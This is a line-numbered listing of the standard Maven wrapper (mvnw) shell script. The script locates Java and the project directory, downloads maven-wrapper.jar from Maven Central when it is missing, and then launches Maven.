---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Mingw, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | ########################################################################################## 204 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 205 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 206 | ########################################################################################## 207 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 208 | if [ "$MVNW_VERBOSE" = true ]; then 209 | echo "Found .mvn/wrapper/maven-wrapper.jar" 210 | fi 211 | else 212 | if [ "$MVNW_VERBOSE" = true ]; then 213 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 214 | fi 215 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 216 | while IFS="=" read key value; do 217 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 218 | esac 219 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 220 | if [ "$MVNW_VERBOSE" = true ]; then 221 | echo "Downloading from: $jarUrl" 222 | fi 223 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 224 | 225 | if command -v wget > /dev/null; then 226 | if [ "$MVNW_VERBOSE" = true ]; then 227 | echo "Found wget ... using wget" 228 | fi 229 | wget "$jarUrl" -O "$wrapperJarPath" 230 | elif command -v curl > /dev/null; then 231 | if [ "$MVNW_VERBOSE" = true ]; then 232 | echo "Found curl ... using curl" 233 | fi 234 | curl -o "$wrapperJarPath" "$jarUrl" 235 | else 236 | if [ "$MVNW_VERBOSE" = true ]; then 237 | echo "Falling back to using Java to download" 238 | fi 239 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 240 | if [ -e "$javaClass" ]; then 241 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 242 | if [ "$MVNW_VERBOSE" = true ]; then 243 | echo " - Compiling MavenWrapperDownloader.java ..." 244 | fi 245 | # Compiling the Java class 246 | ("$JAVA_HOME/bin/javac" "$javaClass") 247 | fi 248 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 249 | # Running the downloader 250 | if [ "$MVNW_VERBOSE" = true ]; then 251 | echo " - Running MavenWrapperDownloader.java ..." 252 | fi 253 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 254 | fi 255 | fi 256 | fi 257 | fi 258 | ########################################################################################## 259 | # End of extension 260 | ########################################################################################## 261 | 262 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 263 | if [ "$MVNW_VERBOSE" = true ]; then 264 | echo $MAVEN_PROJECTBASEDIR 265 | fi 266 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 267 | 268 | # For Cygwin, switch paths to Windows format before running java 269 | if $cygwin; then 270 | [ -n "$M2_HOME" ] && 271 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 272 | [ -n "$JAVA_HOME" ] && 273 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 274 | [ -n "$CLASSPATH" ] && 275 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 276 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 277 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 278 | fi 279 | 280 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 281 | 282 | exec "$JAVACMD" \ 283 | $MAVEN_OPTS \ 284 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 285 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 286 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 287 | --------------------------------------------------------------------------------